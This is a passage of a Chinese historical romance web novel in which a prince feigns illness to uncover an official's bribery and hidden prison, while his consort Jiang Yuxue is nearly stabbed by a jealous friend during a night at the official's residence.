洛十一:“账房?”
“嗯。”裴敛应声,转而忽然问道,“方才在正堂上刘远的女儿献舞,你可是看仔细了?”
洛十一一愣,没明白裴敛这句话的用意,但还是回道:“看了……”
“你感觉如何?”裴敛紧接着问道。
嗯?
什么感觉如何?
舞、舞吗……?
“嗯?”裴敛见洛十一好似有些走神,向他投去问询的目光。
洛十一接收到主子质问的视线,忽的像上了审讯台,额角浸出一层冷汗。
舞吗?!
他斟酌了半晌,从极好到不过一般,再到不如哪个大人物,都没想出一个万全的回答。
就在他紧张之时,一名刘远的同僚从内室的门口看向这边,见裴敛在此,忙招呼道:“世子殿下,内室在这边。”
见对方将要走来,裴敛没有再等洛十一回答,直接开口快速解释道:“她头上的翡翠金燕是去年在明月楼拍卖场拍下的,价值万两。手上的蓝色玛瑙手镯是四年前外族供奉给朝堂的东西,经过赏赐和变卖周转进拍卖场,与她脖子上的朱红玉石一并打包售出,而其买家至今不明。”
“这些东西,不仅价值连城,而且跨时之久,但刘府起来是近来的事。说明他背后,还有其他人。”
洛十一听着裴敛一连串的解释,顿时醍醐灌顶。
原来主子当时看得那么专注,是在看这些!
见他似是明白了情况,裴敛嘱咐道:“听明白了就去吧,有情况便来报。”转身便往内室去了。
-
方才的庭院间。
众人看着裴敛的身影消失在视野中,忽的往姜钰雪的方向围了过去。
姜钰雪原本站得远远的,还在低头看着手里那颗黑漆漆的小丸子,思考着这究竟是什么。忽觉周身的视线骤然变得热烈起来,一下心急,没再多想,一口把小丸子闷进嘴里吞下。
“雪儿!”
“雪儿——”
几个小姑娘围了上来,一脸艳羡。
“你和殿下感情真好啊,就离开这么一小会儿他都舍不得,要过来找你说一声。”
“哎哟,真是甜蜜得看得人牙疼!”
几个人打着趣想逗她害羞,姜钰雪却是急得想跺脚。
苦苦苦!苦苦苦!苦死我啦!!!
那小黑丸不知道到底有什么作用,明明吞下去了,嘴里却依旧是苦得火辣辣的,硬是给她憋出了一层冷汗。
几人拉着姜钰雪往茶台走去,姜钰雪也没推脱,走到茶台边倒了杯水一饮而尽,这才舒坦了些。
她刚放下杯子,抬头便看到刘若汐面带不悦地看着她。
“若汐……”姜钰雪抿了抿唇,下意识收紧抱着木匣子的手。
“姜钰雪,”刘若汐将她打量了一番,不明意味地说道,“今日打扮得倒比往常别致。”
闻言,姜钰雪后背一僵,挪了挪手臂,让袖子把身前挡住,然后交出手里的木匣子,转移了话题:“这个……生辰礼,生辰快乐,若汐。”
刘若汐瞥了眼她手上的东西,故意顿了顿,片刻后才接过去:“谢谢世子侧妃。”
姜钰雪交出礼物的手
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一颤,视线下意识逃离开,嘴里低低地说着:“我只是……”
“雪儿姐姐,”其他姑娘拿了些果子回来,见姜钰雪在,忙拉她坐下,“雪儿姐姐好久不见,没想到再见就是亲王的世子侧妃了,真是命好啊姐姐。”
姜钰雪被对方的话打断了思绪,围过来的人渐渐多了起来。她开始有些怯场,强拉起笑脸摆手道:“我就不在这呆着了……我去其他地方……”
“诶诶诶,别走啊,坐!”那姑娘将她一把拉到了座椅上,握着她的手挑了挑眉,“好不容易有个嫁了人的,我们聊点闺房之事呀!哈哈哈!”
旁边的姑娘闻言,跟着笑了起来,一齐起哄。
姜钰雪不明白她们忽然在笑什么,疑惑地转着脑袋看来看去:“什、什么闺房之事呀?”
那人突然静了下来,鬼鬼祟祟地凑近,低声道:“殿下,厉不厉害?”
此话一落,围在一起的几个人瞬间哄堂大笑。
“云姐姐未免也太直白了!”
“起开起开,那也没有你们之前问我的露骨!”
然而,作为当事人的姜钰雪依旧是一头雾水:“……啊?”
“瞧你,还装傻。我们可都看见了,殿下就是离开你一小会儿都得拉着你的手,讲些咬耳朵的话才离开呢,怕不是私底下天天缠着你!”
姜钰雪尴尬地笑了笑……
反了。
她嫁进去第一天就想强上世子,第二天又想进寝室偷东西,在这端王府里又偷又强的,属实是跟他们嘴里说的天差地别。
“是呀,而且雪儿姐姐现在在端王府,虽然是世子侧妃,但世子殿下还没有正妃,除了世子已故的生母,端王也无其他妻妾,那雪儿姐姐岂不是相当于主母了?”
“没有没有没有!”姜钰雪吓得直摆手。
这话可不能乱说,她现在连端王都没见过呢,说多了传出去可不就成谣言了,到时候她又要怎么解释。
几个姑娘围坐在一起,聊着些平日里的趣事,不知不觉便夜深了。
“快看,殿下回来了。”
姜钰雪循着对方的视线望过去,果真在长廊上看到了裴敛。
“雪儿还未回门吧?待你回门日,我们再去寻你玩玩。”几个姑娘见她起身要走,摆摆手同她道别。
此话倒是提醒姜钰雪了,王府不同寻常人家,恐怕连回门的日子都不同。她离家几日,也实在是想家了。
姜钰雪回首点了点头,往裴敛的方向走去。
他身上的雪松香染了淡淡的酒味,想必方才在内室喝了不少的酒,但脸上却依旧是往常那副淡然的神色。一旁的洛十一跟上前来,同他说着话。
姜钰雪内心犯着嘀咕,这人今天忽冷忽热的,怪得狠,可别又做什么意料之外的事,就这样让她好好回府吧。
怎知,裴敛忽然捂住了嘴咳嗽几声,紧接着身体向前倒去。
姜钰雪心下一惊,眼疾手快接住裴敛。对方高大的身躯压在了她的身上,两人一同跌倒在地。
“殿下!”
姜钰雪支起身来查看裴敛的情况,却见他原先捂着嘴的手心中淌满了血。
16. 第16章
“殿下!”姜钰雪见他手上的血,吓得面色煞白,慌乱支起身要将他扶起来。
处在不远处的众人听见动静,纷纷朝这边看过来。
“殿下!殿下!殿下你怎么了?!”
姜钰雪看着靠着自己肩膀上的人没有回应,焦急地抓住裴敛的肩膀用力摇晃:“别死啊!你别死啊殿下!”
一时间,长廊下回荡着她慌乱的呼喊声。
靠在她肩膀上的人终于有了一丝动静,缓缓吐出了几个字:“姜钰雪……松手……”
他说话的声量极低,姜钰雪脑子此时只剩下将他唤醒的想法,根本就没注意到他说了什么,只是激动地盖过了他:“殿下!殿下!呜呜呜呜殿下——不要死,不要死啊!!!”
这遭动静将远在门口送客的刘远给引回了府内。见此情形,刘远也是吓得不轻:“殿下这是……?!”
众人视线皆落在那两人的身上,然而站在一旁的洛十一率先走上前解释道:“刘大人,殿下怕是旧疾复发,能否请刘大人空出间客房让殿下稍作歇息?”
“好好好。”
闻言,刘远连声应下,转头便去催促下人备房:“快!带路!”
洛十一回过身,屈膝半跪,向姜钰雪伸出手:“侧妃,请将殿下交给小的。”
姜钰雪看着裴敛微蹙的眉心,心想他定是难受极了,面带焦愁地看向洛十一,问道:“他没事吧?严不严重啊?要不要喊个大夫过来?”
洛十一觑了眼自家主子的脸色,斟酌回道:“……殿下无事,其他人已去唤大夫了,一会儿开味药便好。”
话落,姜钰雪这才松开抓着裴敛肩膀的手,随后一路跟在洛十一身侧看着。
王府的大夫闻讯赶来,只留了主仆二人在屋中看诊,最后也是诊为旧疾复发,开了味药,并叮嘱了洛十一今夜应让殿下好好休息,不宜再出门,免得受凉。
刘远见状,虽态度上隐隐有些勉强,但看了眼在一旁焦灼地祈祷着“殿下不要死殿下不要死”的姜侧妃,最后还是应承了下来,回头又给姜钰雪腾了间客房,调了些府里的精卫各自守在的门前。
夜深人静,宾客早已散离。
府里的侍从想先将姜钰雪送回王府,但姜钰雪心里放不下,坚决要留下,几名侍从也只好作罢。
屋内灯光昏暗,姜钰雪唤退了下人,独自守在里面。
听大夫说裴敛今晚需得好好休息,她干脆将屋内最后一根蜡烛也给熄灭,只留了窗口的月华照进屋内。
月华照在窗台上,微弱的白光洒在床榻边。姜钰雪看着榻上熟睡的人,走过去坐在了一旁的木椅上。
榻上的人呼吸平缓,仿佛只是熟睡一般。
姜钰雪就这样静静守着,眉头不自觉蹙起。
幼儿时期,她时常动不动就生病,一直在家中修养到了十来岁才好些,自然知道生病有多难受。
只是眼前这个人,白日里还是好端端的,到了傍晚竟然就这么倒下了,这究竟是什么病……
她这样想着,余光瞥见他手上的血痕,才发现在方才那番骚动之下竟也没人帮他清洗干净。
姜钰雪拿起一旁水盆里的绢布拧干了水,轻轻地拿起他的手,打算将他手上的血擦去。
半干的血颜色已经有些暗沉,渗入白色的绢布上抹出了一片红,擦净后甚至露出了其下一道已经结了痂的伤。
姜钰雪眉头一皱。
怎么他的手还受了伤?在哪里磕着了?
她放下手里的绢布捧起他的手。
她的掌只有他的半个大,一手握着他的手背,一手去触碰他的掌心。
微凉的指尖压在他掌心的厚茧,顺着他掌心的纹路落到那道伤痕上。
手中的掌忽的一颤,姜钰雪忙将指尖抽离,心想必是弄疼了他,从怀中掏出随身的帕子给他将手包好,免得再磕碰到。
完事后,姜钰雪长舒口气,又看了看他的面色。不知是否是月华的作用,月色下他的皮肤比起往日更为白皙,甚至缺了些血色,不禁让姜钰雪担心他。
会不会还发热了?
姜钰雪伸出手用指尖搓了搓掌心,打算用手探探他额头的温度,却发现自己的手已经被对方给捂热了不少。
犹豫片刻,她坐在榻上撩起额前的碎发,悄悄地……偷偷地……缓缓俯身向下。
忽的,床板“吱呀”一声,微微晃了晃。
姜钰雪瞬间屏住呼吸,僵直了背,见他没有动静,这才继续俯身向下。
纤细的手压在裴敛的枕侧,几缕青丝从姜钰雪的肩头滑落,叠落在他起伏的胸口。
温热的气息打在姜钰雪的唇角,惹得她不禁扑闪了眼睫,再一睁眼,便对上了对方无比清醒的双眸。
“姜小姐,你在做什么?”
“啊——!”姜钰雪吓得跳起,惊魂未定地指着他,“你你你你你怎么醒了?!”
裴敛从榻上坐起身,面无表情地盯着她,质问道:“若我不醒来,你还打算做什么?”
这话问得姜钰雪一愣,脑子里回想起方才自己的所作所为,近得看得见的根根睫毛,打在她唇上的气息,再加上他现在这幅“给我老实交代”的神情……
“我没有亲你!”她脱口而出,伸手张开五指辩解道,“我只是想用手给你探探额头有没有发热,但是、啊……!”
她话还没说完,便被裴敛抓住了手腕拉到身前,膝盖磕碰在榻边,整个人倒了上去。
后脑勺陷入一片软褥之中,姜钰雪睁开眼,看着视线中摇晃的床帘,忙想爬起来,却又被裴敛捂住嘴,按回了榻上。
“嘘……”裴敛对她使了个眼神,又将她的手往软褥里按得更深了些,“别出声。”
床榻随着他的动作“吱呀”响了两声,尔后恢复了平静。
裴敛半个身子俯在她身上,两人的青丝交缠在一起,手掌与手腕之间温热交融。
姜钰雪噤了声,心跳如雷。她顺着裴敛的目光望去,看到了门外有两道身影,随后响起人声。
“姜侧妃,请随奴婢来客房休息。”
“好、好的……”
是新月的声音?!
姜钰雪惊讶地眨了眨眼,向裴敛投去疑惑的目光。
裴敛俯下身来凑近她,低声道:“不要出声,知道吗?”
姜钰雪还未来得及回答,腹部忽的被一个冰凉的硬物抵住。
危险的预感骤升,她连忙如捣蒜般“好好好”地点着头,眼中是满满的求生欲。
“握住。”裴敛将东西在她腹上又轻轻碰了碰,低声道。
姜钰雪乖乖听话地握住了抵在自己腹上的东西,掌心冰凉的触感告诉她——这是把匕首。
“若是有人对你不善,你就——捅他这里。”说着他手里微微用力,匕首的鞘壳在姜钰雪腹部的软肉上陷进去。接着,抵着那软肉转了小半圈后,随着他的一声“撕开”往腰侧快速划过。
姜钰雪浑身一颤,背后不觉间已
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经渗出一层冷汗,明明没有真的被刺,身上却隐隐作痛。
“做了不该做的事情就是这个下场。懂了吗?”
清冽的声音贴着侧脸传进姜钰雪的耳中,姜钰雪害怕得抓紧了被褥。
呜呜呜……这哪是教她,这分明就是在威胁她……!
姜钰雪惶恐地重重点了好几下头,无声求饶:不敢了大人放过我吧呜呜呜……
裴敛收起了戾气,松手与她拉开距离。
“殿下,都准备妥当了。”侧门传来了洛十一的声音。
裴敛闻声望去,从榻上下去拿起一旁的佩剑,对着姜钰雪嘱咐道:“外头有些事,你在这好好呆着。”
说完,他转身便要离开,袖子却又被人扯了扯。
裴敛心想她定是担心那侍女,便在她开口之前先回答了:“新月无事,有人守着。”
怎知,回头却见对方眉头紧蹙,睁着双水汪汪的眼睛看向他:“你呢?你身体没事了吗?”
“你若是病了,可不要勉强自己……”
裴敛闻言一怔。
原本在长廊准备接她离开时,洛十一跟上前在他耳边汇报,说是找到了几处疑点。
机会难得,他打算拖延时间调查,便从袖口掏出了一小块刀片划了自己的手,装作呕血倒地。
只是没想到竟是被面前这个人接住了。
“……我无事。”裴敛回道。
说完,姜钰雪扯着他袖子的手猛地一拉,细嫩的手心抚上他的额头。
裴敛一怔,看着姜钰雪飞快地用掌心贴了一下他的额头,随后又仓皇逃回榻上,怯生生说道:“还、还好……没发热……”
看着对方缩在床榻深处,裴敛好笑地轻叹一声。
这人现在像只小猫一样胆小柔弱缩在墙角装可怜,刚才分明大胆得不要命。
“我确实无事,先走了。”裴敛没有再多停留,转身走了。
-
屋外,洛十一见裴敛出来,忙跟上去行了个礼,待走出刘府侍卫的视线后才开口道:“殿下。”
裴敛抬手示意他起来,吩咐道:“说事。”
洛十一说道:“已经让侍女新月冒充侧妃被带往另一间客房了,有我们的人跟着,大抵是无碍的。”
“嗯,还有呢?”裴敛追问。
洛十一犹豫几息,将打好的腹稿说出:“本是按照殿下预想的将侧妃带回,但侧妃执意不走,小的也不好强迫她……”
裴敛停下步子,脑子里想起在长廊时姜钰雪慌乱的模样,还有耳边回荡着的“不要死不要死”,不禁轻叹一声:“……无碍,也多亏了她,没有引起刘远的怀疑。”
“带路。”
-
姜钰雪从床帘后探出头,确认了裴敛已经走后才长舒口气:“吓、吓死我了……还好没有生气……”
她把方才探额头的掌心贴到自己的额头上,疑惑道:“那大夫开的什么药那么厉害,这么快就没事了?”
此时,屋里只剩下她一个人,榻上留下的匕首在月光中反射着冷光。
姜钰雪摸了摸小腹上的软肉,瘪瘪嘴不情愿地捧起那把匕首,扯过榻上的被褥藏了起来。
夜已深,她打了个哈欠,带着困意钻进了被窝。
被窝中有股淡淡的雪松香,她整个人连带着脑袋埋进被褥里,呼吸逐渐变得平缓。
睡意朦胧间,姜钰雪隐隐感觉到床榻微微晃动了几下,尔后一只手摸上了她的后背。
17. 第17章
迷迷糊糊时,姜钰雪忽然惊醒,感觉后背有手在摸她。
冰冰凉凉的触感从她的后背缓缓爬到颈部,像一根根细针刺得她顿时僵住。
……鬼。
鬼鬼鬼鬼鬼鬼鬼……有鬼!!!!
姜钰雪屏住气息,不敢动弹。
这鬼要做什么?!该不会是要掐死她吧……!
不要啊,不要啊鬼大人……前几日才被另一个人.大人掐过啊呜呜呜……
她心里默默祈祷着,藏在被褥中的小脸皱成了一团。
阿弥陀佛,阿弥陀佛。
妖魔鬼怪快离开……妖魔鬼怪快离开……!
直到头顶突然传来一名女子的声音:“殿下……”
那声音娇柔如春水,听得姜钰雪一愣,又听见那道声音继续响起。
“听闻殿下身体不适,小女特来照看一会儿……殿下……”
冰凉的手绕过厚厚的被褥,往姜钰雪身前伸来。
姜钰雪闻声一惊,心中不由生出一个荒谬的猜想。
这个声音该不会是……
她“唰”地一下掀起被子,看清了坐在榻上的人,惊讶大叫一声:“刘若汐?!”
那人被这猝不及防的一掀给挥退了几步,在听到榻上人的声音时一样惊讶道:“姜钰雪?!”
刘若汐一身薄纱襦裙轻盈蹁跹,其下遮掩住的身形在月光的照射下若影若现。
看着面前的人,姜钰雪匪夷所思,斟酌了半晌,开口道:“……刘小姐,你在做什么?”
感受到姜钰雪落在自己身上尴尬的视线,刘若汐双手抱胸,偏过身质问她:“要你管!……谁知道你在这!”
姜钰雪无言地抿了抿唇,问道:“……若我不在这,你还打算做什么?”
“都说了让你少管我!”失败就算了,还偏偏被姜钰雪看到,刘若汐心里又尴尬又恼怒。
姜钰雪也是头一回遇到这种场面,见她这副打扮,方才捏着嗓子说话的声音,心里也猜了个大概:“若汐……你不会是想……”
“怎么?”刘若汐回头狠狠瞪了她一眼,吼道,“你一个侧妃还有意见了是吧!”
姜钰雪被她吼得往后缩了缩,弱弱道:“不是……我的意思是……”
按照她失败的经验,什么强吻强要、露手露腿这种极致大胆的事她都做出来了,实在是想不出更刺激的法子了。
现下面对刘若汐的这个攻势,她抿了抿唇,只能好心评价道:“你这样不够得劲儿,他不会上钩的。”
话落,刘若汐忽然面色一沉,气势汹汹地走近榻边,质问道:“你在教我做事?”
-
暗道内,空气湿冷。
裴敛同几个侍卫往下深入,不一会儿便进到一间暗室中。
几个侍卫燃起了更多的烛火,将这间暗室照得通亮。
“殿下……这是……”洛十一看着面前摆满的几箱金银,震惊道。
几个护卫上前搜查,发现这里不仅是有好几箱的金银,甚至还有不少来路不明的官银。
随后,又在石墙上的暗格里搜出了一沓厚厚的账本,记录了从前年开始陆陆续续接收的这些来路不明的金钱账目,目的基本源自雇凶杀人、养刺客这些见不得光的事。
裴敛微眯起眼,嗅了嗅空气中淡淡的腥臭味,道:“这里应当还连着另一处……有人的地方。”
“继续查。”
“是。”
洛十一应下,带着其他人分别搜查了起来,果真在另一处发现了暗室。
只是比起这间装满了金银财宝的暗室,另一间却是一个关押着人的囚笼,里面的人要么奄奄一息,要么已经被折磨得痴傻。
腐臭阴湿的空气透过厚厚的石壁缝隙渗透而出,这才让洛十一他们找到。
证据确凿。
洛十一将刘远押了上来,对其非法收受官银,买凶行刺于端王世子一事进行问罪。
刘远见事情败露,竟是吓得直接晕了过去。
“殿下……这……”洛十一看着晕倒在地的刘远,等候裴敛的指示。
裴敛走出暗道,月光照在他的衣袖上,折射出绸缎上的绣纹。
“把他单独押到王府的地牢等候审讯,其他的按照往常的办。”
洛十一闻声应下,回头吩咐完其他侍卫照办后总算是松了口气。
“殿下,事情已经安排下去了。”
他说着,不由感叹了一下这阵子熬夜准备的辛苦,“太好了,没想到竟如此顺利,真是天衣无缝!”
裴敛意味深长地看了眼洛十一笑弯了的眼角:“天衣无缝?”
洛十一一僵,战术性地拱拱手,低头反思了起来。
嗯?
主子这样看他是什么意思?
主子交代的几件事他都办得很好啊?
莫不是在说……他没接住人的事情……
但此事属实是意料之外!
第一,他没想过姜侧妃会去接他。
第二,他没想过姜侧妃竟然能接得这——么快。
第三,还有一件他刚才就一直很想问的事。
洛十一看了眼裴敛手上绑着的粉色碎花小帕子,开口道:“殿下,你手上那个是……?”
闻声,裴敛循着他的视线看向自己的手,微不可察地一怔,才想起当时装睡时好像姜钰雪确实给他包扎过。
他挥开袖摆,袖口悄无声息地将它挡了起来,吩咐道:“剩下的事交给你办了,我先回去一趟。”
说罢,抬步走了人。
-
昏暗的屋内,刘若汐爬到床榻上,抄起榻上的棉枕就往姜钰雪身上扔过去,怒吼一声:“姜钰雪!你胆子肥了敢教训我!”
姜钰雪忙抬手挡住自己的脑袋,喊道:“我没有……!我说的就是实话啊!”
她已经全都试过了,都没用啊!
刘若汐从榻上重新捡起她挡下的棉枕,又继续往她脑袋上扔过去:“你个胸脯大脑仁小的呆瓜!”
闻言,姜钰雪心里憋了股劲儿,心中愤愤不已。
她才不是什么受气包呢!这话必须反驳!
她拍下迎面而来的棉枕,拿起来朝刘若汐扔了回去:“我脑门哪里小了!我脑门大着呢!”
刘若汐轻而易举地便挡下了她扔来的棉枕,气笑道:“脑仁和脑门是同一个东西吗你就说!”
她说着,扔下手里的棉枕,往姜钰雪身上抓去。
“啊啊啊你、你做什么?!”姜钰雪按着抓在身前的手,慌乱道,“你你你别扯!”
刘若汐扯着她的衣服,对峙道:“我倒是要看看你垫了多少!”
姜钰雪死死抓着自己的衣服,反抗道:“你你你你松手!松手!”
“我就不松!!!”
“刘小姐,自重!!!”
两人就这么你拉我扯地僵持着,直到衣服响起了绣线断裂的声音。
啊啊啊衣服——
姜钰雪心里一慌,只能窝囊地求饶:“呜呜呜你不要扯,不要扯了,我给你摸摸就是了……给你摸摸还不行嘛……你把衣服扯坏了我要挨管事训的……”
刘若汐愤愤看着她这幅委屈讨好的模样,骂道:“那些臭男人都一个样,就喜欢你这种。”
“没有……!我不喜欢!”姜钰雪一手挡着脑袋,一手抓着自己的衣服,怯怯懦懦道,“我喜欢若汐这样的,你读书又好,舞也跳得好,做什么都很认真、”
“你是在嘲笑我吗?!”这话似是戳中了刘若汐的痛处,顿时将她的情绪给点燃,“笑我怎么努力都不如你躺着就能得到想要的东西?!”
她说着,抬手拿起棉枕就朝姜钰雪身上打去:“你总是这样姜钰雪!你总是抢我东西!你凭什么过得比我好!”
“你总是这样,你连我未婚夫都抢,让我成个笑话!”
“我没有……!”姜
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钰雪一边挡着棉枕的拍打,一边反驳着,“我根本不认识他!他那天突然抱住我,把我都吓坏了!”
“你闭嘴!我不要听你说!”
刘若汐怒斥着,喘着气停下了手里的动作,声音发着抖,“我费尽心思讨好的男人……你总是轻而易举就得到!”
“你不需要……”姜钰雪看着她难过的神情,心里不禁也跟着揪了起来。
“若汐,你不需要讨好谁。”
“他们根本不珍惜你……不值得你讨好!”
谁喜欢讨好人?若不是为了母亲,她也不想呆在王府。
“你是想说我不配吗!”
“我没有……我没有这个意思!”
“你分明就有!”
此时的刘若汐情绪已然失控,她余光暼见从被褥里露出来的匕首,拿起匕首出鞘后指向对方。
“葛姐姐都和我说了,你别以为我不知道!”
“你家里越来越好,都成了丞相府了,我家却依旧只是个侍御史。你心里瞧不起我,笑话我!”
“若汐……?!”姜钰雪不敢置信地看着她将匕首指向自己,泪水从眼角滑落。
“姜钰雪!我讨厌你!”
刘若汐失去了理智,将匕首朝姜钰雪扎去。
姜钰雪忙往后撤,腿却被被褥缠着动弹不了,绝望地闭上了眼。
“啊——!”
预想中的疼痛并未到来,取而代之的是一个结实的环抱,鼻尖是那熟悉的雪松香。
姜钰雪睁开眼,视线中是一片白色的衣袖。
裴敛一手撑在她身前护住她,一手将她环抱着往后带,带进他的怀里。
护在前面的袖子被划开了一道痕,血染了一片。
刘若汐回过神来,手剧烈地发抖,颤抖着声音说道:“殿、殿下……我……”
匕首“哐”地掉落在地上,发出了刺耳的响声。
裴敛沉着面色,墨色的双眸如结了冰霜,眸底是至高无上的威严气魄,冷声道:“刘若汐,你今日对亲王世子行刺,自己可知是何罪?”
“我、我……”刘若汐已然吓得说不出话。
洛十一带人其他人紧随而来,听到屋内的动静,忙闯进去查探。
“殿下!”见裴敛手上有伤,洛十一忙上前去。
又看了眼榻上一个被裴敛肃目看着的刘若汐,还有一个被裴敛护在怀里的姜钰雪,顿时明了情况,高声呼唤道:“来人!
随后,侍卫们陆陆续续涌进屋内。
裴敛见来了人,正打算同怀里的人拉开距离,怎知一低头,却是看到了被拉扯得凌乱的衣服下露出的一片雪白软绵,飞快地移开视线。
姜钰雪惊魂未定,茫然地看着刘若汐瘫软着被几个侍卫架走。
忽的,周身原本虚着环抱她的手臂突然收紧,将她整个人笼在了衣袖之下。
“自己遮好。”
耳边响起裴敛的低语。
姜钰雪的掌心按在他的胸前,与他隔开了些距离,抬头看他。
对方面上没有什么表情,视线也不知道在看远处的哪里,只是又重复了一次:“上身,自己遮好。”
胸口触碰到一起,软绵的雪白在对方结实的胸膛上压得变了形,心跳声有力地传递到姜钰雪的心口。
她低头一看,这才意识到自己此时衣衫不整,露了一大片在外头,连忙用手遮住。
“遮好了?”裴敛问道。
姜钰雪默默点了点头,尔后忽的腾空而起,慌忙地靠在了他的怀里。
“失礼,先带你换个地方。”裴敛将她抱起,用衣袖笼住她,走出了客房。
两人来到另一处房间。
裴敛闭上了眼睛,将姜钰雪放了下来,尔后转过身去:“你在这里将衣服换好,我在外面等。”
他将要抬脚离开,袖子忽的被人拽住,身后传来对方胆怯颤抖的声音:“殿、殿下……可以留下来吗?”
18. 第18章
姜钰雪从他怀里离开,温热的气息被周身的凉风侵退,吹得她浑身发凉。
她的脑子一片混乱,害怕、烦躁、难过杂糅在心口,令她不知所措。
见裴敛要离开,姜钰雪下意识抓住他的袖摆,脱口而出:“殿下可以留下来吗?”
裴敛脚下一顿,背对着她问道:“为何?”
……为何?
姜钰雪抓着袖摆的手一紧,陷入了沉默。
为何?
因为她害怕,不想自己呆着。
可是她脑子又很烦很乱,不想同人说话。
但她又实在难过,想要找人倾诉。
矛盾复杂的情绪一下子堵在她的心口,让她静不下来。
然而,这些对他来说好像都不能成为理由。
白色的袖摆从手心抽出,姜钰雪无助地低下头,微张的唇抿成了一条线。
“你换吧。”裴敛忽然说道。
姜钰雪闻声抬起头,疑惑地看着他的背影。
裴敛解开头上的发带,长长的发带绕过他的双眼,将他的视线遮挡住。
他仍旧维持着背对着姜钰雪的姿势,将发带系了个结,站在原地淡然道:“好了。”
这句话说得很轻,好像只是平日里再正常不过的话语,落在此时的姜钰雪耳中却如安神药一般。
“谢、谢谢殿下……”
姜钰雪缓了缓神,将附近环视一圈确认再无他人后,把上衣的系带解开。
屋里很黑,周围没有人,一片黑暗中,只有衣物摩擦时发出的窸窣声响。
裴敛在一片黑暗中等待着,身后窸窣的声响流入耳中,脑海中习惯性地去分辨黑暗中声音响起的原由。
身后的气息声随着动作忽轻忽重,窸窣的声响也越来越频繁。先是脱下了最外面的褙子,接着是旋裙落地,再然后……
忽的,他的手背上滑过一片顺滑的布料,带着一阵说不出的香气绕向了他的鼻尖。
那味道像是雪白的栀子花,又混合了柑橘的清甜,与方才滑过手背上温热柔软的感觉一致……
“对、对不起……!”
姜钰雪在他身后蹲下,慌忙地道了个歉:“衣服没拿好,掉了……”
“我自己捡……我自己捡……”
姜钰雪捂着身前,狼狈地弯腰前行,在黑暗中寻找方才掉在地上的衣服,头上的发髻不觉间擦过了对方的袖摆。
她越往前走,光线就越暗,终于在一个圆桌底下发现了那件衣服,兴冲冲拿起来直起身。
“有了!……啊!”
“怎么了?”裴敛听见动静,循声问道。
姜钰雪摸了摸被撞疼的头顶,皱着张生疼的小脸回道:“没、没事,我撞到桌子了而已。”
她说着,回身一望,竟是对上了裴敛的“视线”。
发带盖在他的双眸之上,将他的视野遮挡住。但那张脸却是精准地朝向她,仿佛真的看得见一般。
姜钰雪的脸骤然烧得通红,忙用衣服遮住自己,匆匆跑回他的身后,忙手忙脚地穿起来,时不时偷偷看一眼那道背影。
他他他他刚才应该……应该看不见的吧……?
心跳声大得在她脑中震颤,手也紧张得有些发抖。
她怎么会这么大胆……?!竟然就这么光溜溜地和他共处一室!
甚至……甚至还是她自己求他留下来的……
这实在是太……!
姜钰雪飞快地穿好衣服,咳了两声,佯装镇定:“殿下,我换好了。”
裴敛闻声取下发带,缓缓睁开眼,一对水润的双眸映入眼帘。
“殿下,”姜钰雪站在他跟前抬头看向他,想起自己方才的离谱请求,有些不好意思,“谢谢你……”
裴敛抬手将发带系回去,浅浅应了声“嗯”。
窗外浮云散开,皎洁的月华倾泻而下。姜钰雪捕捉到他袖上的划痕,关切道:“殿下,你的手……没事吧?”
裴敛撩开袖摆,露出一小节手臂。宽袍之下,手臂的线条紧实流畅,凸起的青筋上有一道已经结了痂的划痕,落在他白皙如玉的肌肤上显得格外扎眼。
他只是看了眼,又将袖摆拉了回去,回道:“无事。”
姜钰雪想起那时的情景,心里还有些后怕,不免内疚。
她不明白刘若汐为何会误会她,甚至到了这般失去理智的地步,分明之前顶多就是说道她两句而已。
是因为她今日做了什么事让她不高兴了吗?
“早知道今日便不来了……”
就不会变成现在这样了。
姜钰雪低着头,不觉间将心中的话说了出来。
裴敛看着她蹙起的眉头,没有回应她,径直走出了门:“走吧。”
两人一路没有说话,姜钰雪跟在他的身后,走到庭院时远远便见到刘远和刘若汐被好几个侍卫押送走。
姜钰雪有些恍惚,白日里还风光无限的刘府,一夜间却成了这幅光景。
“侍御史刘远有非法受贿之嫌。”裴敛开口道。
姜钰雪闻声看向身侧,不知何时自己竟走得与他一般快,抬头看他继续道。
“刘府本也不清白,本性如此罢了。”
他偏头看了姜钰雪一眼,接着径直走到了前头。
“回府吧。”
-
刘府被查的消息传得很快。
此类案件本应是御史台的人来管,但由于刘远其女对端王世子不敬之行,最终被交予端王府的人全权调查。
姜甫得知那日姜钰雪在场后,心里担忧她的情况,回去便请了人往端王府送了些厚礼,又让去送礼的下人给门仆塞了点银子,打听打听自家女儿的情况。
“小姐。”
新月拿着姜府专门给姜钰雪带的东西回来,一进门便见自家主子苦着张小脸趴在圆桌上。
“小姐这是怎么了?”
新月放下手里的东西,歪着脑袋去探她的表情。
“没有进展……”
姜钰雪侧脸趴在桌子上,细嫩的脸颊在桌子上挤出了一个粉粉的小肉球。
见新月进来,她也没有动弹,继续趴在那里对着她喃喃道:“我们那日想的那些招式,我那晚上对着他试了下,一点用都没有!”
“甚至还把他惹生气了……”
“他到底喜欢什么样的呢……”
说着,她脑海里回忆起当时裴敛专注地看着刘若汐跳舞时的样子,心生担忧:“他不会是喜欢那种……很聪明的,琴棋书画样样精通的吧。”
那她可就完蛋了。
新月拉开一旁的凳子坐了下来,凑近她安慰道:“小姐这才同殿下认识了几日,如何能断定殿下就不喜欢小姐呢,总归要慢慢磨合的。”
“况且……当时教事的嫲嫲也同小姐交代了,殿下性子清冷,不近女色,还需得小姐多多主动些,引导引导。”
引导……?!
姜钰雪回忆起自己做过的事情,新婚之夜强上被拒,后来榻上勾引被赶,甚至在刘府时还当着他的面换衣服……
就这还不够?!
那谁来引导引导她脆弱的心灵!
“没用……”
姜钰雪神色尴尬地扁扁嘴,没好意思告诉新月自己脱光了他都满不在乎的事:“总、总之,他对我真的是半点兴趣都没有!”
说着,她看到桌上放着的东西,转移了话题:“你拿了什么回来?”
“姜老爷送了东西过来。”新月回道。
“爹爹送来的?”
闻言,姜钰雪猛的从椅子上起身,兴冲冲往门外望去:“那爹爹人呢?”
“老爷没过来,只是派了人来打听打听小姐的事。”新月解释道。
“这样……”姜钰雪有些失落,但很快又恢复了精神,看向送来的东西,“快看看送了些什么过来!”
新月将盒子外包裹的布打开,里面是一个食盒。小小的食盒分成了三层,打开一看,里头分别装了红糖粉藕、梅花馅饼、茯苓夹饼等点心。
金黄色的糖浆浇灌在莲藕上,混合着糯
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米的清甜香气,只是看一眼便能让人联想到入口后软糯弹牙的口感。
“天啊!都是我爱吃的!”姜钰雪看着这些东西,乐开了花,“呜呜呜,爹爹娘亲真好……”
